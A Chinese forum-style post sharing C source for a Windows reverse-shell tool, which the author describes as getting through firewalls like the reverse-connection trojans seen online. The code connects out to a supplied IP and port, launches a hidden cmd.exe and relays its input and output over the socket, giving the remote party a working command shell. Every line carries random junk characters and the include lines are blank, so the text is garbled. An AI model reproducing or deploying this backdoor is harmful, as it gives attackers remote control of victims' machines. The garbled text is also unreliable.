这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 O+y-}7YX
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/* ============================== Zt.'K(]2h
Rebound port in Windows NT Y. ,Kl~
By wind,2006/7 Jn{OWw2
===============================*/ ~//fN}~R
#include X!e[GJ
#include $5Xh,DOg
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#pragma comment(lib,"wsock32.lib") Y.g59X!Ub2
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void OutputShell(); uc;8 K,[t
SOCKET sClient; n4}Br;%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?b(=1S\E'^
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void main(int argc,char **argv) N5a*7EJv+
{ ?OkWe<:4
WSADATA stWsaData; sBr_a5QQ#
int nRet; vI>>\.ED
SOCKADDR_IN stSaiClient,stSaiServer; .zi_[
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if(argc != 3) E[/\7v\
{ SQX:7YF~
printf("Useage:\n\rRebound DestIP DestPort\n"); RhncBKm*M
return; Ney/[3 A
} 8C*c{(4
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^s|6vd;PD=
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xai*CY@cQ
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stSaiClient.sin_family = AF_INET; a!=D [Gz*5
stSaiClient.sin_port = htons(0); BO;6
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;7}VBkH
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) KET2Ws[w
{ r>o63Q:
printf("Bind Socket Failed!\n"); D)L+7N0D~
return; DGS $Ukz&T
} \WxukYH
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stSaiServer.sin_family = AF_INET; o,_?^'@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n*2UnKaJ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); JpXlBEio%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MF5[lK9e
{ wB.&}p9p
printf("Connect Error!"); 0yD9SJn
return; k?+?v?I
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} .yz}ROmN^
OutputShell(); E=nIRG|g
} vSEuk}pk
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void OutputShell() As'=tIro
{ YNQY4\(
char szBuff[1024]; <0Xf9a8>
SECURITY_ATTRIBUTES stSecurityAttributes; \W~N
OSVERSIONINFO stOsversionInfo; E|iQc8gr&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F(>Np2oi6
STARTUPINFO stStartupInfo; 1*\o.
char *szShell; LY%WD%pL
PROCESS_INFORMATION stProcessInformation; 45@^L's
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e|"WQ>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yD zc<p\`
stSecurityAttributes.lpSecurityDescriptor = 0; LRL,m_gt
stSecurityAttributes.bInheritHandle = TRUE; VK m&iidU
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qLD
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q'=x|K#xj
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UtoT
stStartupInfo.wShowWindow = SW_HIDE; F3On?x)
stStartupInfo.hStdInput = hReadPipe; Te"ioU?.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k\5c|Wq|g
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GetVersionEx(&stOsversionInfo); 9jM}~XvV
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switch(stOsversionInfo.dwPlatformId) Lt64JH^lz
{ <:+ x+4ru
case 1: 5?{r
szShell = "command.com"; +^60T$
break; TM%|'^)
default: OP[@k
szShell = "cmd.exe"; )_YX DU
break; 9X}10u:
} ]_f_w9]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hOjk3
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send(sClient,szMsg,77,0); cr7 }^s
while(1) NcBIg:V\c
{ {$0mwAOH "
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); W+I!q:p4H
if(lBytesRead) /:m->
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{ em%4Ap
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ni9/}bb
send(sClient,szBuff,lBytesRead,0); n<LEler#M
} ?WGA?J %2
else %~4M+r6T
{ -_=nDH
lBytesRead=recv(sClient,szBuff,1024,0); ,LHn90S
if(lBytesRead<=0) break; .s?L^Z^
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #NEE7'&S
} L>jY.d2w=K
} {'7B6
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return; ha]VWt%}
}